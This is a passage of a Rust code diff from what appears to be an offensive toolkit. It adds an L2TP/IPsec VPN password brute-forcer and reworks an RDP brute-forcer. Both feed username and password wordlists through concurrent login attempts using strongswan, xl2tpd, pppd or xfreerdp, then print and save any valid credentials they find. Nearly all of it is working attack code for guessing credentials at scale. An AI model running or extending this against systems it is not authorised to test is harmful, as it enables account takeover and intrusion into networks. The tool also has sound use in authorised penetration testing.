if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
|
||||
match try_l2tp_login(&addr_clone, &user, &pass_clone, &psk_clone, timeout_duration).await {
|
||||
Ok(true) => {
|
||||
println!("[+] {} -> {}:{}", addr_clone, user, pass_clone);
|
||||
let mut found = found_credentials_clone.lock().await;
|
||||
found.push((addr_clone.clone(), user.clone(), pass_clone.clone()));
|
||||
if stop_on_success_flag {
|
||||
stop_signal_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
log(verbose_flag, &format!("[-] {} -> {}:{}", addr_clone, user, pass_clone));
|
||||
}
|
||||
Err(e) => {
|
||||
log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
|
||||
}
|
||||
}
|
||||
drop(permit);
|
||||
sleep(Duration::from_millis(100)).await;
|
||||
}));
|
||||
|
||||
// Limit concurrent tasks
|
||||
if tasks.len() >= concurrency {
|
||||
if let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
log(verbose, &format!("[!] Task join error: {}", e));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Wait for remaining tasks
|
||||
while let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
log(verbose, &format!("[!] Task join error: {}", e));
|
||||
}
|
||||
}
|
||||
|
||||
let creds = found_credentials.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("\n[-] No credentials found.");
|
||||
} else {
|
||||
println!("\n[+] Valid credentials found:");
|
||||
for (host_addr, user, pass) in creds.iter() {
|
||||
println!(" {} -> {}:{}", host_addr, user, pass);
|
||||
}
|
||||
|
||||
if let Some(path_str) = save_path {
|
||||
let filename = get_filename_in_current_dir(&path_str);
|
||||
match File::create(&filename) {
|
||||
Ok(mut file) => {
|
||||
for (host_addr, user, pass) in creds.iter() {
|
||||
if writeln!(file, "{} -> {}:{}", host_addr, user, pass).is_err() {
|
||||
eprintln!("[!] Error writing to result file: {}", filename.display());
|
||||
break;
|
||||
}
|
||||
}
|
||||
println!("[+] Results saved to '{}'", filename.display());
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("[!] Could not create output file '{}': {}", filename.display(), e);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Attempts L2TP/IPsec VPN login
|
||||
///
|
||||
/// Note: L2TP/IPsec authentication is complex and requires:
|
||||
/// - Root privileges for IPsec operations
|
||||
/// - Proper configuration files (/etc/ipsec.conf, /etc/ipsec.secrets, etc.)
|
||||
/// - IPsec phase (machine authentication with PSK/certificates)
|
||||
/// - L2TP phase (user authentication with username/password)
|
||||
///
|
||||
/// This implementation provides the framework. A full implementation would need to:
|
||||
/// - Create temporary configuration files dynamically
|
||||
/// - Use ipsec/strongswan commands to establish IPsec tunnel
|
||||
/// - Use xl2tpd or pppd to establish L2TP tunnel within IPsec
|
||||
/// - Parse connection status and authentication responses
|
||||
async fn try_l2tp_login(addr: &str, username: &str, password: &str, psk: &Option<String>, timeout_duration: Duration) -> Result<bool> {
|
||||
// Try using strongswan (ipsec/strongswan) if available
|
||||
let strongswan_check = Command::new("which")
|
||||
.arg("ipsec")
|
||||
.output()
|
||||
.await;
|
||||
|
||||
if strongswan_check.is_ok() && strongswan_check.unwrap().status.success() {
|
||||
return try_l2tp_strongswan(addr, username, password, psk, timeout_duration).await;
|
||||
}
|
||||
|
||||
// Fallback: try xl2tpd if available
|
||||
let xl2tpd_check = Command::new("which")
|
||||
.arg("xl2tpd")
|
||||
.output()
|
||||
.await;
|
||||
|
||||
if xl2tpd_check.is_ok() && xl2tpd_check.unwrap().status.success() {
|
||||
return try_l2tp_xl2tpd(addr, username, password, psk, timeout_duration).await;
|
||||
}
|
||||
|
||||
// Try using system L2TP tools (Windows: rasdial, Linux: various)
|
||||
#[cfg(target_os = "linux")]
|
||||
{
|
||||
// Try using pppd with l2tp plugin if available
|
||||
let pppd_check = Command::new("which")
|
||||
.arg("pppd")
|
||||
.output()
|
||||
.await;
|
||||
|
||||
if pppd_check.is_ok() && pppd_check.unwrap().status.success() {
|
||||
return try_l2tp_pppd(addr, username, password, psk, timeout_duration).await;
|
||||
}
|
||||
}
|
||||
|
||||
Err(anyhow!("No L2TP client tools found. Please install strongswan, xl2tpd, or pppd with L2TP support."))
|
||||
}
|
||||
|
||||
async fn try_l2tp_strongswan(addr: &str, username: &str, password: &str, psk: &Option<String>, timeout_duration: Duration) -> Result<bool> {
|
||||
// Extract IP address from addr (remove port if present)
|
||||
let server_ip = addr.split(':').next().unwrap_or(addr);
|
||||
|
||||
// Create temporary directory for config files
|
||||
let temp_dir = std::env::temp_dir();
|
||||
let conn_name = format!("l2tp_brute_{}", std::process::id());
|
||||
let ipsec_conf_path = temp_dir.join(format!("{}.conf", conn_name));
|
||||
let ipsec_secrets_path = temp_dir.join(format!("{}.secrets", conn_name));
|
||||
|
||||
// Build IPsec configuration
|
||||
let psk_value = psk.as_deref().unwrap_or("default");
|
||||
let ipsec_conf = format!(
|
||||
r#"conn {}
|
||||
type=transport
|
||||
authby=secret
|
||||
left=%defaultroute
|
||||
right={}
|
||||
rightprotoport=17/1701
|
||||
auto=start
|
||||
keyexchange=ikev1
|
||||
ike=aes128-sha1-modp1024
|
||||
esp=aes128-sha1
|
||||
"#,
|
||||
conn_name, server_ip
|
||||
);
|
||||
|
||||
// Build secrets file
|
||||
let ipsec_secrets = format!(
|
||||
r#"{} : PSK "{}"
|
||||
{} : XAUTH "{}"
|
||||
"#,
|
||||
server_ip, psk_value, username, password
|
||||
);
|
||||
|
||||
// Write config files
|
||||
std::fs::write(&ipsec_conf_path, ipsec_conf)
|
||||
.map_err(|e| anyhow!("Failed to write IPsec config: {}", e))?;
|
||||
std::fs::write(&ipsec_secrets_path, ipsec_secrets)
|
||||
.map_err(|e| anyhow!("Failed to write IPsec secrets: {}", e))?;
|
||||
|
||||
// Set permissions on secrets file (should be 600)
|
||||
#[cfg(unix)]
|
||||
{
|
||||
use std::os::unix::fs::PermissionsExt;
|
||||
let mut perms = std::fs::metadata(&ipsec_secrets_path)?.permissions();
|
||||
perms.set_mode(0o600);
|
||||
std::fs::set_permissions(&ipsec_secrets_path, perms)?;
|
||||
}
|
||||
|
||||
// Try to establish connection using ipsec
|
||||
// Note: This requires root privileges and proper strongswan setup
|
||||
// strongswan typically reads from /etc/ipsec.conf and /etc/ipsec.secrets
|
||||
// For a bruteforce tool, we'd ideally use temporary configs, but ipsec
|
||||
// doesn't easily support that. This is a framework implementation.
|
||||
// In practice, you might need to:
|
||||
// 1. Run as root
|
||||
// 2. Temporarily modify system config files, or
|
||||
// 3. Use strongswan's swanctl with custom configs
|
||||
|
||||
// Try using ipsec up command (requires proper system configuration)
|
||||
let mut child = Command::new("ipsec")
|
||||
.arg("up")
|
||||
.arg(&conn_name)
|
||||
.stdout(std::process::Stdio::piped())
|
||||
.stderr(std::process::Stdio::piped())
|
||||
.spawn()?;
|
||||
|
||||
let result = match timeout(timeout_duration, child.wait()).await {
|
||||
Ok(Ok(status)) => {
|
||||
// Check if connection was established
|
||||
// Exit code 0 typically means success
|
||||
Ok(status.success())
|
||||
}
|
||||
Ok(Err(e)) => {
|
||||
Err(anyhow!("strongswan error: {}", e))
|
||||
}
|
||||
Err(_) => {
|
||||
let _ = child.kill().await;
|
||||
Ok(false)
|
||||
}
|
||||
};
|
||||
|
||||
// Clean up connection
|
||||
let _ = Command::new("ipsec")
|
||||
.arg("down")
|
||||
.arg(&conn_name)
|
||||
.output()
|
||||
.await;
|
||||
|
||||
// Clean up temp files
|
||||
let _ = std::fs::remove_file(&ipsec_conf_path);
|
||||
let _ = std::fs::remove_file(&ipsec_secrets_path);
|
||||
|
||||
result
|
||||
}
|
||||
|
||||
async fn try_l2tp_xl2tpd(addr: &str, username: &str, password: &str, _psk: &Option<String>, timeout_duration: Duration) -> Result<bool> {
|
||||
// xl2tpd requires configuration files
|
||||
// Create temporary config files for this attempt
|
||||
let temp_dir = std::env::temp_dir();
|
||||
let conn_name = format!("l2tp_brute_{}", std::process::id());
|
||||
let xl2tpd_conf_path = temp_dir.join(format!("{}.xl2tpd.conf", conn_name));
|
||||
let ppp_secrets_path = temp_dir.join(format!("{}.chap-secrets", conn_name));
|
||||
|
||||
let server_ip = addr.split(':').next().unwrap_or(addr);
|
||||
|
||||
// Build xl2tpd config
|
||||
let xl2tpd_conf = format!(
|
||||
r#"[lac {}]
|
||||
lns = {}
|
||||
ppp debug = no
|
||||
pppoptfile = /etc/ppp/options.xl2tpd
|
||||
length bit = yes
|
||||
"#,
|
||||
conn_name, server_ip
|
||||
);
|
||||
|
||||
// Build PPP secrets (CHAP)
|
||||
let ppp_secrets = format!(
|
||||
r#"{} * {} *
|
||||
"#,
|
||||
username, password
|
||||
);
|
||||
|
||||
// Write config files
|
||||
std::fs::write(&xl2tpd_conf_path, xl2tpd_conf)
|
||||
.map_err(|e| anyhow!("Failed to write xl2tpd config: {}", e))?;
|
||||
std::fs::write(&ppp_secrets_path, ppp_secrets)
|
||||
.map_err(|e| anyhow!("Failed to write PPP secrets: {}", e))?;
|
||||
|
||||
// Try to connect using xl2tpd-control
|
||||
// Note: xl2tpd must be running and configured
|
||||
let mut child = Command::new("xl2tpd-control")
|
||||
.arg("connect")
|
||||
.arg(&conn_name)
|
||||
.stdout(std::process::Stdio::piped())
|
||||
.stderr(std::process::Stdio::piped())
|
||||
.spawn()?;
|
||||
|
||||
let result = match timeout(timeout_duration, child.wait()).await {
|
||||
Ok(Ok(status)) => {
|
||||
// Check if connection was established
|
||||
Ok(status.success())
|
||||
}
|
||||
Ok(Err(e)) => Err(anyhow!("xl2tpd error: {}", e)),
|
||||
Err(_) => {
|
||||
let _ = child.kill().await;
|
||||
Ok(false)
|
||||
}
|
||||
};
|
||||
|
||||
// Clean up connection
|
||||
let _ = Command::new("xl2tpd-control")
|
||||
.arg("disconnect")
|
||||
.arg(&conn_name)
|
||||
.output()
|
||||
.await;
|
||||
|
||||
// Clean up temp files
|
||||
let _ = std::fs::remove_file(&xl2tpd_conf_path);
|
||||
let _ = std::fs::remove_file(&ppp_secrets_path);
|
||||
|
||||
result
|
||||
}
|
||||
|
||||
#[cfg(target_os = "linux")]
|
||||
async fn try_l2tp_pppd(addr: &str, username: &str, password: &str, _psk: &Option<String>, timeout_duration: Duration) -> Result<bool> {
|
||||
// pppd with L2TP plugin
|
||||
// This requires proper configuration and typically root privileges
|
||||
let server_ip = addr.split(':').next().unwrap_or(addr);
|
||||
|
||||
// Create temporary options file for pppd
|
||||
let temp_dir = std::env::temp_dir();
|
||||
let options_file = temp_dir.join(format!("pppd_options_{}.txt", std::process::id()));
|
||||
|
||||
let options_content = format!(
|
||||
r#"noauth
|
||||
user {}
|
||||
password {}
|
||||
plugin pppol2tp.so
|
||||
pppol2tp_server {}
|
||||
"#,
|
||||
username, password, server_ip
|
||||
);
|
||||
|
||||
std::fs::write(&options_file, options_content)
|
||||
.map_err(|e| anyhow!("Failed to write pppd options: {}", e))?;
|
||||
|
||||
let mut child = Command::new("pppd")
|
||||
.arg("nodetach")
|
||||
.arg("file")
|
||||
.arg(&options_file)
|
||||
.stdout(std::process::Stdio::piped())
|
||||
.stderr(std::process::Stdio::piped())
|
||||
.spawn()?;
|
||||
|
||||
let result = match timeout(timeout_duration, child.wait()).await {
|
||||
Ok(Ok(status)) => {
|
||||
// pppd returns 0 on successful connection
|
||||
Ok(status.success())
|
||||
}
|
||||
Ok(Err(e)) => Err(anyhow!("pppd error: {}", e)),
|
||||
Err(_) => {
|
||||
let _ = child.kill().await;
|
||||
Ok(false)
|
||||
}
|
||||
};
|
||||
|
||||
// Clean up temp file
|
||||
let _ = std::fs::remove_file(&options_file);
|
||||
|
||||
result
|
||||
}
|
||||
|
||||
fn normalize_target(host: &str, default_port: u16) -> Result<String> {
|
||||
let re = Regex::new(r"^\[*(?P<addr>[^\]]+?)\]*(?::(?P<port>\d{1,5}))?$").unwrap();
|
||||
let trimmed = host.trim();
|
||||
let caps = re
|
||||
.captures(trimmed)
|
||||
.ok_or_else(|| anyhow!("Invalid target format: {}", host))?;
|
||||
let addr = caps.name("addr").unwrap().as_str();
|
||||
let port = if let Some(m) = caps.name("port") {
|
||||
m.as_str()
|
||||
.parse::<u16>()
|
||||
.map_err(|_| anyhow!("Invalid port value in target '{}'", host))?
|
||||
} else {
|
||||
default_port
|
||||
};
|
||||
let formatted = if addr.contains(':') && !addr.contains('.') {
|
||||
format!("[{}]:{}", addr, port)
|
||||
} else {
|
||||
format!("{}:{}", addr, port)
|
||||
};
|
||||
Ok(formatted)
|
||||
}
|
||||
|
||||
fn prompt_required(msg: &str) -> Result<String> {
|
||||
loop {
|
||||
print!("{}", format!("{}: ", msg).cyan().bold());
|
||||
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
if !trimmed.is_empty() {
|
||||
return Ok(trimmed.to_string());
|
||||
} else {
|
||||
println!("{}", "This field is required. Please provide a value.".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_default(msg: &str, default_val: &str) -> Result<String> {
|
||||
print!("{}", format!("{} [{}]: ", msg, default_val).cyan().bold());
|
||||
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
Ok(if trimmed.is_empty() {
|
||||
default_val.to_string()
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
})
|
||||
}
|
||||
|
||||
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
|
||||
let default_char = if default_yes { "y" } else { "n" };
|
||||
loop {
|
||||
print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
|
||||
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let input = s.trim().to_lowercase();
|
||||
if input.is_empty() {
|
||||
return Ok(default_yes);
|
||||
} else if input == "y" || input == "yes" {
|
||||
return Ok(true);
|
||||
} else if input == "n" || input == "no" {
|
||||
return Ok(false);
|
||||
} else {
|
||||
println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_optional(msg: &str) -> Result<Option<String>> {
|
||||
print!("{}", format!("{} (optional, press Enter to skip): ", msg).cyan().bold());
|
||||
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
Ok(if trimmed.is_empty() {
|
||||
None
|
||||
} else {
|
||||
Some(trimmed.to_string())
|
||||
})
|
||||
}
|
||||
|
||||
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
|
||||
let file = File::open(path.as_ref())
|
||||
.map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
|
||||
let reader = BufReader::new(file);
|
||||
Ok(reader
|
||||
.lines()
|
||||
.filter_map(Result::ok)
|
||||
.map(|line| line.trim().to_string())
|
||||
.filter(|line| !line.is_empty())
|
||||
.collect())
|
||||
}
|
||||
|
||||
fn log(verbose: bool, msg: &str) {
|
||||
if verbose {
|
||||
println!("{}", msg);
|
||||
}
|
||||
}
|
||||
|
||||
fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
|
||||
let path = Path::new(input_path_str);
|
||||
let filename_component = path
|
||||
.file_name()
|
||||
.map(|os_str| os_str.to_string_lossy())
|
||||
.unwrap_or_else(|| std::borrow::Cow::Borrowed(input_path_str));
|
||||
|
||||
let final_name = if filename_component.is_empty()
|
||||
|| filename_component == "."
|
||||
|| filename_component == ".."
|
||||
|| filename_component.contains('/')
|
||||
|| filename_component.contains('\\')
|
||||
{
|
||||
"l2tp_results.txt"
|
||||
} else {
|
||||
filename_component.as_ref()
|
||||
};
|
||||
|
||||
PathBuf::from(format!("./{}", final_name))
|
||||
}
|
||||
|
||||
@@ -9,3 +9,6 @@
|
||||
pub mod enablebruteforce;
|
||||
pub mod smtp_bruteforce;
|
||||
pub mod pop3_bruteforce;
|
||||
pub mod snmp_bruteforce;
|
||||
pub mod fortinet_bruteforce;
|
||||
pub mod l2tp_bruteforce;
|
||||
|
||||
@@ -1,14 +1,17 @@
|
||||
use anyhow::Result;
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
path::{Path, PathBuf},
|
||||
sync::Arc,
|
||||
sync::atomic::{AtomicBool, Ordering},
|
||||
};
|
||||
use tokio::{
|
||||
process::Command,
|
||||
sync::{Mutex, Semaphore},
|
||||
time::{sleep, Duration},
|
||||
time::{sleep, Duration, timeout},
|
||||
};
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
@@ -17,20 +20,70 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("RDP Port", "3389")?;
|
||||
match input.parse() {
|
||||
Ok(p) => break p,
|
||||
Err(_) => println!("Invalid port. Please enter a number."),
|
||||
match input.trim().parse::<u16>() {
|
||||
Ok(p) if p > 0 => break p,
|
||||
Ok(_) => println!("{}", "Port must be between 1 and 65535.".yellow()),
|
||||
Err(_) => println!("{}", "Invalid port number. Please enter a number between 1 and 65535.".yellow()),
|
||||
}
|
||||
};
|
||||
|
||||
let usernames_file_path = prompt_required("Username wordlist path")?;
|
||||
let passwords_file_path = prompt_required("Password wordlist path")?;
|
||||
let usernames_file_path = loop {
|
||||
let input = prompt_required("Username wordlist path")?;
|
||||
let path = Path::new(&input);
|
||||
if !path.exists() {
|
||||
println!("{}", format!("File '{}' does not exist.", input).yellow());
|
||||
continue;
|
||||
}
|
||||
if !path.is_file() {
|
||||
println!("{}", format!("'{}' is not a regular file.", input).yellow());
|
||||
continue;
|
||||
}
|
||||
match File::open(path) {
|
||||
Ok(_) => break input,
|
||||
Err(e) => {
|
||||
println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
|
||||
continue;
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let passwords_file_path = loop {
|
||||
let input = prompt_required("Password wordlist path")?;
|
||||
let path = Path::new(&input);
|
||||
if !path.exists() {
|
||||
println!("{}", format!("File '{}' does not exist.", input).yellow());
|
||||
continue;
|
||||
}
|
||||
if !path.is_file() {
|
||||
println!("{}", format!("'{}' is not a regular file.", input).yellow());
|
||||
continue;
|
||||
}
|
||||
match File::open(path) {
|
||||
Ok(_) => break input,
|
||||
Err(e) => {
|
||||
println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
|
||||
continue;
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let concurrency: usize = loop {
|
||||
let input = prompt_default("Max concurrent tasks", "10")?;
|
||||
match input.parse() {
|
||||
Ok(n) if n > 0 => break n,
|
||||
_ => println!("Invalid number. Must be greater than 0."),
|
||||
match input.trim().parse::<usize>() {
|
||||
Ok(n) if n > 0 && n <= 10000 => break n,
|
||||
Ok(n) if n == 0 => println!("{}", "Concurrency must be greater than 0.".yellow()),
|
||||
Ok(_) => println!("{}", "Concurrency must be between 1 and 10000.".yellow()),
|
||||
Err(_) => println!("{}", "Invalid number. Please enter a positive integer.".yellow()),
|
||||
}
|
||||
};
|
||||
|
||||
let timeout_secs: u64 = loop {
|
||||
let input = prompt_default("Connection timeout (seconds)", "10")?;
|
||||
match input.trim().parse::<u64>() {
|
||||
Ok(n) if n > 0 && n <= 300 => break n,
|
||||
Ok(n) if n == 0 => println!("{}", "Timeout must be greater than 0.".yellow()),
|
||||
Ok(_) => println!("{}", "Timeout must be between 1 and 300 seconds.".yellow()),
|
||||
Err(_) => println!("{}", "Invalid timeout. Please enter a number between 1 and 300.".yellow()),
|
||||
}
|
||||
};
|
||||
|
||||
@@ -46,83 +99,199 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
let addr = format_socket_address(target, port);
|
||||
let found_credentials = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop_signal = Arc::new(Mutex::new(false));
|
||||
let stop_signal = Arc::new(AtomicBool::new(false));
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", addr);
|
||||
println!("[*] Timeout: {} seconds", timeout_secs);
|
||||
|
||||
let users = load_lines(&usernames_file_path)?;
|
||||
if users.is_empty() {
|
||||
// Count lines for display
|
||||
let user_count = count_lines(&usernames_file_path)?;
|
||||
if user_count == 0 {
|
||||
println!("[!] Username wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
println!("[*] Loaded {} usernames", user_count);
|
||||
|
||||
let passwords = load_lines(&passwords_file_path)?;
|
||||
if passwords.is_empty() {
|
||||
let password_count = count_lines(&passwords_file_path)?;
|
||||
if password_count == 0 {
|
||||
println!("[!] Password wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
println!("[*] Loaded {} passwords", password_count);
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let mut handles = vec![];
|
||||
let mut user_cycle_idx = 0;
|
||||
let mut tasks: FuturesUnordered<_> = FuturesUnordered::new();
|
||||
|
||||
'password_loop: for pass in passwords {
|
||||
if *stop_signal.lock().await {
|
||||
break 'password_loop;
|
||||
}
|
||||
|
||||
let current_users_for_this_pass = if combo_mode {
|
||||
users.clone()
|
||||
} else {
|
||||
let user_for_this_pass = users[user_cycle_idx % users.len()].clone();
|
||||
user_cycle_idx += 1;
|
||||
vec![user_for_this_pass]
|
||||
};
|
||||
|
||||
for user in current_users_for_this_pass {
|
||||
if *stop_signal.lock().await {
|
||||
break 'password_loop; // Break outer loop if stopping
|
||||
if combo_mode {
|
||||
// Try every password with every user - read line by line
|
||||
let user_file = File::open(&usernames_file_path)?;
|
||||
let user_reader = BufReader::new(user_file);
|
||||
|
||||
for user_line in user_reader.lines() {
|
||||
if stop_on_success && stop_signal.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
let user = match user_line {
|
||||
Ok(line) => line.trim().to_string(),
|
||||
Err(_) => continue,
|
||||
};
|
||||
|
||||
if user.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
let permit = Arc::clone(&semaphore).acquire_owned().await?;
|
||||
// Open password file for each user
|
||||
let pass_file = File::open(&passwords_file_path)?;
|
||||
let pass_reader = BufReader::new(pass_file);
|
||||
|
||||
for pass_line in pass_reader.lines() {
|
||||
if stop_on_success && stop_signal.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
let pass = match pass_line {
|
||||
Ok(line) => line.trim().to_string(),
|
||||
Err(_) => continue,
|
||||
};
|
||||
|
||||
if pass.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
let addr_clone = addr.clone();
|
||||
let user_clone = user.clone();
|
||||
let pass_clone = pass.clone();
|
||||
let found_credentials_clone = Arc::clone(&found_credentials);
|
||||
let stop_signal_clone = Arc::clone(&stop_signal);
|
||||
let semaphore_clone = Arc::clone(&semaphore);
|
||||
let verbose_flag = verbose;
|
||||
let stop_on_success_flag = stop_on_success;
|
||||
let timeout_duration = Duration::from_secs(timeout_secs);
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
let permit = match semaphore_clone.acquire_owned().await {
|
||||
Ok(permit) => permit,
|
||||
Err(_) => return,
|
||||
};
|
||||
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
|
||||
match try_rdp_login(&addr_clone, &user_clone, &pass_clone, timeout_duration).await {
|
||||
Ok(true) => {
|
||||
println!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone);
|
||||
let mut found = found_credentials_clone.lock().await;
|
||||
found.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
|
||||
if stop_on_success_flag {
|
||||
stop_signal_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
log(verbose_flag, &format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone));
|
||||
}
|
||||
Err(e) => {
|
||||
log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
|
||||
}
|
||||
}
|
||||
drop(permit);
|
||||
sleep(Duration::from_millis(10)).await;
|
||||
}));
|
||||
|
||||
// Limit concurrent tasks
|
||||
if tasks.len() >= concurrency {
|
||||
if let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
log(verbose, &format!("[!] Task join error: {}", e));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// Try passwords sequentially, cycling through users - read line by line
|
||||
let pass_file = File::open(&passwords_file_path)?;
|
||||
let pass_reader = BufReader::new(pass_file);
|
||||
|
||||
// Load users into memory for cycling (needed for modulo access)
|
||||
let users = load_lines(&usernames_file_path)?;
|
||||
|
||||
for (i, pass_line) in pass_reader.lines().enumerate() {
|
||||
if stop_on_success && stop_signal.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
let pass = match pass_line {
|
||||
Ok(line) => line.trim().to_string(),
|
||||
Err(_) => continue,
|
||||
};
|
||||
|
||||
if pass.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
let user = users[i % users.len()].clone();
|
||||
|
||||
let addr_clone = addr.clone();
|
||||
let user_clone = user.clone();
|
||||
let pass_clone = pass.clone();
|
||||
let found_credentials_clone = Arc::clone(&found_credentials);
|
||||
let stop_signal_clone = Arc::clone(&stop_signal);
|
||||
|
||||
let handle = tokio::spawn(async move {
|
||||
let _permit_guard = permit; // Permit dropped when task finishes
|
||||
let semaphore_clone = Arc::clone(&semaphore);
|
||||
let verbose_flag = verbose;
|
||||
let stop_on_success_flag = stop_on_success;
|
||||
let timeout_duration = Duration::from_secs(timeout_secs);
|
||||
|
||||
if *stop_signal_clone.lock().await {
|
||||
tasks.push(tokio::spawn(async move {
|
||||
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
let permit = match semaphore_clone.acquire_owned().await {
|
||||
Ok(permit) => permit,
|
||||
Err(_) => return,
|
||||
};
|
||||
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
|
||||
match try_rdp_login(&addr_clone, &user_clone, &pass_clone).await {
|
||||
match try_rdp_login(&addr_clone, &user, &pass_clone, timeout_duration).await {
|
||||
Ok(true) => {
|
||||
println!("[+] SUCCESS: {} -> {}:{}", addr_clone, user_clone, pass_clone);
|
||||
println!("[+] {} -> {}:{}", addr_clone, user, pass_clone);
|
||||
let mut found = found_credentials_clone.lock().await;
|
||||
found.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
|
||||
if stop_on_success {
|
||||
*stop_signal_clone.lock().await = true;
|
||||
found.push((addr_clone.clone(), user.clone(), pass_clone.clone()));
|
||||
if stop_on_success_flag {
|
||||
stop_signal_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
log(verbose, &format!("[-] ATTEMPT: {} -> {}:{}", addr_clone, user_clone, pass_clone));
|
||||
log(verbose_flag, &format!("[-] {} -> {}:{}", addr_clone, user, pass_clone));
|
||||
}
|
||||
Err(e) => {
|
||||
log(verbose, &format!("[!] ERROR for {}:{}/{}: {}", addr_clone, user_clone, pass_clone, e));
|
||||
log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
|
||||
}
|
||||
}
|
||||
drop(permit);
|
||||
sleep(Duration::from_millis(10)).await;
|
||||
});
|
||||
handles.push(handle);
|
||||
}));
|
||||
|
||||
// Limit concurrent tasks
|
||||
if tasks.len() >= concurrency {
|
||||
if let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
log(verbose, &format!("[!] Task join error: {}", e));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for handle in handles {
|
||||
handle.await?; // Propagate JoinErrors if any task panicked
|
||||
// Wait for remaining tasks
|
||||
while let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
log(verbose, &format!("[!] Task join error: {}", e));
|
||||
}
|
||||
}
|
||||
|
||||
let creds = found_credentials.lock().await;
|
||||
@@ -156,41 +325,112 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn try_rdp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
|
||||
async fn try_rdp_login(addr: &str, user: &str, pass: &str, timeout_duration: Duration) -> Result<bool> {
|
||||
// Check if xfreerdp is available
|
||||
let xfreerdp_check = Command::new("which")
|
||||
.arg("xfreerdp")
|
||||
.output()
|
||||
.await;
|
||||
|
||||
let use_xfreerdp = if let Ok(output) = xfreerdp_check {
|
||||
output.status.success()
|
||||
} else {
|
||||
false
|
||||
};
|
||||
|
||||
if !use_xfreerdp {
|
||||
// Fallback: try rdesktop if xfreerdp is not available
|
||||
let rdesktop_check = Command::new("which")
|
||||
.arg("rdesktop")
|
||||
.output()
|
||||
.await;
|
||||
|
||||
